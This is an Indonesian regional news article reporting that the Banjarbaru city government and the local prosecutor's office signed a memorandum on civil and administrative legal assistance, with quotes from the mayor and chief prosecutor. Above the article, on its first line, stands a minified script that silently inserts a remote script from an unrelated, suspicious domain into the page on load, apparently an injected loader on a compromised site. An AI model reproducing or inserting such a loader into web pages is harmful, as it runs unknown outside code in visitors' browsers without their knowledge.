(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) Banjarbaru dengan Kejaksaan Negeri (Kejari) Banjarbaru berkerja sama dalam penanganan masalah hukum bidang perdata dan tata usaha negara.
Penandatanganan MoU (Memorandum of Understanding) atau kesepakatan bersama berlangsung di aula Mufakat Kejari Banjarbaru, Senin (4/4/2022) siang.
Penandatanganan MoU dilakukan langsung Wali Kota Banjarbaru Aditya Mufti Ariffin dengan Kepala Kejaksaan Negeri Banjarbaru Hadiyanto.
Turut hadir Kapolres Banjarbaru AKBP Nur Khamid, Inspektur Kota Banjarbaru, Kepala BPKAD Kota Banjarbaru, Kepala BAPPEDA Kota Banjarbaru, Kepala Dishub Kota Banjarbaru, Kasat Pol PP Kota Banjarbaru, Kabag Hukum Setdako Banjarbaru, Kabag Prokopim Setdako Banjarbaru.
Baca juga: Terungkap Motif Pembunuhan Perempuan di Jalan Gubernur Syarkawi, Pelaku Ternyata Mantan Suami
Kajari Banjarbaru Hadiyanto mengetakan, Kejaksaan Negeri Banjarbaru akan mendampingi Pemko Banjarbaru dalam permasalahan hukum, agar proyek-proyek strategis bisa berjalan dengan baik, benarm dan lancar.
“Jadi nanti kita bertindak sebagai jaksa pengacara negara mewakili pemerintah kota. Mewakili dalam kalau ada permasalahan-permasalahan, dan juga kita bisa mendampingi dalam permasalahan perdatanya dalam proyek-proyek strategis. Ada beberapa poin yang bisa kita dampingi termasuk aset-aset pemerintah kota juga bisa kita kawal segera diinventarisir,” katanya.
Sementara itu, Wali Kota Banjarbaru Aditya Mufti Ariffin berharap dengan adanya MoU ini, bisa membantu pendampingan permasalahan hukum yang dihadapi oleh Pemko Banjarbaru.
“Adanya penandatanganan ini, berkaitan dengan pendampingan dan permasalahan hukum yang dihadapi oleh pemerintah kota, terutama di bidang perdata dan tata usaha negara lebih kuat lagi dengan adanya pendampingan ini, apalagi banyak aset-aset Pemerintah Kota Banjarbaru yang saat ini bermasalah di pengadilan dan lain-lain,” ujarnya.
Wali Kota menambahkan, adanya pendampingan dari Kejaksaan diharapkan tidak ada lagi kecurangan, penyalahgunaan wewenang, dalam menjalankan program-program strategis daerah.
“Pendampingan dalam program-program strategis daerah yang akan kita laksanakan ke depannya, agar tidak ada kecurangan-kecurangan, tidak ada penyalahgunaan wewenang dan lain-lain, sehingga diperlukan monitoring dan pendampingan dari Kejaksaan,” ujarnya. (Kanalkalimantan.com/al)
Reporter : al
Editor : kk
KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menggelar rapat Badan Musyawarah… Read More
KANALKALIMANTAN.COM, AMUNTAI - Puluhan hasil karya ditampilkan dalam Festival Hasil Panen Belajar Lokakarya 7 Program… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Badan Pengawas Pemilihan Umum (Bawaslu) Provinsi Kalimantan Selatan membuka rekrutmen pengawas ad… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pawai budaya rangkaian memeriahkan Hari Jadi ke-218 Kota Kuala Kapuas dan… Read More
KANALKALIMANTAN.COM, BANJARBARU -Komisi Pemilihan Umum (KPU) Kota Banjarbaru akan memulai tahapan penyelenggaraan Pilkada dengan membuka pemenuhan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menghadiri peringatan Hari… Read More
This website uses cookies.